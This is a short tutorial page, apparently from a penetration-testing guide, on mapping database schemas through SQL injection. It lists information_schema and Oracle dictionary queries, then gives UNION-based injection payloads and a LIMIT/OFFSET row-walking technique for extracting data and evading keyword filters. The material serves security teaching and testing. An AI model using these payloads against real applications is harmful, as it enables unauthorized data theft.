Enumerate Database Schemas

After fingerprinting the DBMS and confirming injection, the next step is mapping the database structure: which databases exist, which tables they contain, and what columns each table has. This metadata is the roadmap for data extraction.

information_schema (MySQL, PostgreSQL, MSSQL)

Most modern relational databases implement the SQL standard information_schema — a set of read-only views describing the database’s own structure.

List all databases / schemas

SELECT schema_name FROM information_schema.schemata;

List tables in a database

SELECT table_schema, table_name FROM information_schema.tables
WHERE table_schema = 'target_db';

List columns in a table

SELECT column_name, data_type FROM information_schema.columns
WHERE table_name = 'users';

Useful information_schema views

ViewContents
information_schema.schemataAll databases/schemas
information_schema.tablesAll tables with schema, type (BASE TABLE / VIEW)
information_schema.columnsAll columns with data types, nullability, defaults
information_schema.table_constraintsPrimary keys, foreign keys, unique constraints
information_schema.key_column_usageColumn-level constraint details
information_schema.user_privilegesGlobal privileges per user (MySQL)

Oracle equivalents

Oracle does not implement information_schema. Use its data dictionary views instead:

-- List tables accessible to the current user
SELECT owner, table_name FROM all_tables;
 
-- List columns in a table
SELECT column_name, data_type FROM all_tab_columns
WHERE table_name = 'USERS';
 
-- List database links (remote database connections)
SELECT * FROM all_db_links;

Key Oracle dictionary views:

ViewContents
all_tablesTables the current user can access
all_tab_columnsColumns in accessible tables
user_tablesTables owned by the current user
user_tab_columnsColumns in owned tables
dba_tablesAll tables (requires DBA privilege)
all_db_linksDatabase links to remote databases

Delivery through SQLi

Through a UNION-based injection, schema enumeration looks like:

' UNION SELECT table_name, NULL FROM information_schema.tables--
' UNION SELECT column_name, data_type FROM information_schema.columns
  WHERE table_name='users'--

Use GROUP_CONCAT() in MySQL or STRING_AGG() in PostgreSQL to collapse multiple rows into a single output row when the application only displays one result.

When GROUP_CONCAT() is unavailable (filtered keywords, length limits, or an injection point that truncates), fall back to LIMIT n OFFSET m row-walking to exfiltrate one row at a time, iterating OFFSET until the query returns nothing:

' UNION SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET 0--   -- first DB
' UNION SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET 1--   -- second DB
' UNION SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET 2--   -- ...

The same pattern works for tables (information_schema.tables), columns (information_schema.columns), and data rows. It is slower than GROUP_CONCAT() but uses only universally-supported SQL and bypasses keyword filters that catch the aggregate function.

Sources

See also